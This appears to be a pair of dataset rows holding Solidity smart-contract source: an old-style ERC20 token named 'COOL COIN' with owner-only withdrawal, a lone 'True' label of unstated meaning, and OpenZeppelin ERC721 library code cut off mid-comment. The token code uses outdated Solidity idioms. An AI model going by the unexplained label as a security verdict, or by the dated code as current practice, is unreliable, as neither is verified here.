address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract COOLCOIN is StandardToken, Ownable {
// Constants
string public constant name = "COOL COIN";
string public constant symbol = "COOLC";
uint8 public constant decimals = 6;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
mapping(address => bool) touched;
function COOLCOIN() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
}
|
True
|
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// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
